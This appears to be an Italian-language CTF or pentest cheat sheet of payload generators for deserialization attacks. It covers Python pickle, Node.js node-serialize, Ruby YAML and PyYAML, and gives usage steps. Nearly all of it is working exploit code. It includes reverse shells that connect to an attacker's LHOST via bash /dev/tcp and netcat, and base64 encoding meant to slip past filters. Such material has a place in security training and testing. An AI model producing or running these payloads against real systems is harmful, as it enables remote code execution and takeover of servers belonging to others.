Payload

---

tags: Deserializzazione Deserialization_Attack Payload_Deserialization

---

Python

RCE

import pickle
import base64
import os
 
# ==============================================================================
# [CONFIGURAZIONE] Modifica SOLO questa parte
# ==============================================================================
# Inserisci qui il comando che vuoi far eseguire al server.
# Esempi: 
# - "cat flag.txt" (per leggere un file)
# - "ls -la" (per listare i file)
# - "sleep 5" (per testare se è vulnerabile tramite ritardo)
 
COMMAND = "cat flag.txt"
 
# ==============================================================================
# [GENERATORE] Non toccare il codice qui sotto
# ==============================================================================
class Exploit(object):
    def __reduce__(self):
        # os.system è la funzione più comune per eseguire comandi shell
        return (os.system, (COMMAND,))
 
def generate_payload():
    # Serializza l'oggetto
    serialized_data = pickle.dumps(Exploit())
    # Codifica in Base64 per il trasporto HTTP
    payload = base64.b64encode(serialized_data).decode('utf-8')
    
    print(f"\n[+] Comando configurato: {COMMAND}")
    print("[+] Payload Base64 (Copia e Incolla questo):\n")
    print(payload)
    print("\n" + "-"*50)
 
if __name__ == '__main__':
    generate_payload()

Reverse Shell

import pickle
import base64
import os
 
# ==============================================================================
# [CONFIGURAZIONE] Modifica SOLO questa parte
# ==============================================================================
 
LHOST = "10.10.10.10"  # <--- Inserisci il TUO indirizzo IP (Tun0/VPN)
LPORT = 4444           # <--- Inserisci la TUA porta in ascolto (nc -lvnp 4444)
 
# ==============================================================================
# [GENERATORE] Non toccare il codice qui sotto
# ==============================================================================
 
def generate_payload():
    # 1. Creiamo il comando raw per la reverse shell (Bash TCP standard)
    raw_cmd = f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1'"
    
    # 2. Codifichiamo il comando in Base64 per evitare errori di sintassi lato server
    # Questo trasforma il comando in qualcosa tipo: YmFzaCAtYyAnYmFzaCAtaSA...
    cmd_b64 = base64.b64encode(raw_cmd.encode()).decode()
    
    # 3. Creiamo il wrapper che il server eseguirà.
    # Il server decodificherà la nostra stringa ed eseguirà il risultato.
    # Questo bypassa problemi con virgolette e pipe.
    final_command = f"echo {cmd_b64} | base64 -d | bash"
 
    class Exploit(object):
        def __reduce__(self):
            return (os.system, (final_command,))
 
    # Serializzazione finale del payload pickle
    payload = base64.b64encode(pickle.dumps(Exploit())).decode()
 
    print(f"\n[+] Configurazione: LHOST={LHOST} | LPORT={LPORT}")
    print(f"[+] Comando incapsulato: {raw_cmd}")
    print("[+] Payload Base64 Finale (Copia e Incolla questo):\n")
    print(payload)
    print("\n" + "-"*50)
 
if __name__ == '__main__':
    generate_payload()

NodeJS

Reverse Shell

import base64
 
# ==============================================================================
# [CONFIGURAZIONE] Node.js (node-serialize)
# ==============================================================================
# Inserisci IP e PORTA per la Reverse Shell
LHOST = "10.10.10.10"
LPORT = 4444
 
# ==============================================================================
# [GENERATORE]
# ==============================================================================
def generate_node_payload():
    # Payload Node.js standard per Reverse Shell usando netcat
    # Usiamo un array di caratteri per bypassare alcuni filtri WAF semplici
    shell_cmd = f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {LHOST} {LPORT} >/tmp/f"
    
    # La struttura magica è "_$$ND_FUNC$$_" seguita dalla funzione.
    # Le parentesi finali () fanno sì che la funzione venga eseguita subito durante la deserializzazione.
    payload_str = (
        f"_$$ND_FUNC$$_function (){{ "
        f"require('child_process').exec('{shell_cmd}', function(error, stdout, stderr) {{ console.log(stdout) }}); "
        f"}}()"
    )
    
    # Spesso Node si aspetta un oggetto JSON serializzato
    json_payload = f'{{"rce": "{payload_str}"}}'
    
    # Encoding Base64
    b64_payload = base64.b64encode(json_payload.encode()).decode()
 
    print(f"\n[+] Target: Node.js (Libreria node-serialize)")
    print(f"[+] Comando iniettato: {shell_cmd}")
    print("[+] Payload Base64 (Cookie/Body):\n")
    print(b64_payload)
    print("\n" + "-"*50)
 
if __name__ == '__main__':
    generate_node_payload()

Ruby

Reverse Shell

import base64
 
# ==============================================================================
# [CONFIGURAZIONE] Ruby (YAML Deserialization)
# ==============================================================================
LHOST = "10.10.10.10"
LPORT = 4444
 
# ==============================================================================
# [GENERATORE]
# ==============================================================================
def generate_ruby_payload():
    # Comando Shell
    cmd = f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {LHOST} {LPORT} >/tmp/f"
 
    # Payload "Universal RCE" per Ruby YAML (famoso payload 'Gem::Installer')
    # Questo payload funziona perché instrada l'esecuzione tramite Gem::Installer che è standard.
    # Nota: L'indentazione in YAML è critica.
    yaml_payload = f"""---
!ruby/object:Gem::Installer
i: x
"specs": !ruby/object:Gem::Requirement
  list:
    !ruby/object:Gem::Package::TarReader
    io: !ruby/object:Net::BufferedIO
      io: !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: !ruby/object:Net::WriteAdapter
         socket: !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: "{cmd}"
         method_id: :resolve
"""
 
    # Encoding Base64
    b64_payload = base64.b64encode(yaml_payload.encode()).decode()
 
    print(f"\n[+] Target: Ruby (YAML.load)")
    print(f"[+] Comando: {cmd}")
    print("[+] Payload Base64:\n")
    print(b64_payload)
    print("\n" + "-"*50)
 
if __name__ == '__main__':
    generate_ruby_payload()

Py(YAML)

Reverse Shell

import base64
 
# ==============================================================================
# [CONFIGURAZIONE] Python (PyYAML / yaml.load)
# ==============================================================================
COMMAND = "cat flag.txt"  # O la tua reverse shell
 
# ==============================================================================
# [GENERATORE]
# ==============================================================================
def generate_pyyaml_payload():
    # Payload specifico per PyYAML che usa subprocess.check_output
    # Sfrutta il tag !!python/object/apply
    yaml_payload = f"!!python/object/apply:subprocess.check_output [['{COMMAND}'],]"
    
    # Se devi usare os.system (cieco, senza output):
    # yaml_payload = f"!!python/object/apply:os.system ['{COMMAND}']"
 
    b64_payload = base64.b64encode(yaml_payload.encode()).decode()
 
    print(f"\n[+] Target: Python PyYAML (Unsafe Load)")
    print(f"[+] Comando: {COMMAND}")
    print("[+] Payload Base64:\n")
    print(b64_payload)
    print("\n" + "-"*50)
 
if __name__ == '__main__':
    generate_pyyaml_payload()

Istruzioni rapide per l’uso

1. Apri il file (es. nano pickle_shell.py).

2. Modifica le variabili in alto (COMMAND oppure LHOST/LPORT).

3. Esegui lo script nel tuo terminale: python3 pickle_shell.py

4. Copia l’output e incollalo nell’applicazione vulnerabile.

Per PHP, Java e .NET non è possibile creare generatori di questo tipo (piccoli script Python autosufficienti) perché richiedono la costruzione di strutture oggetti complesse basate sulle librerie specifiche del target.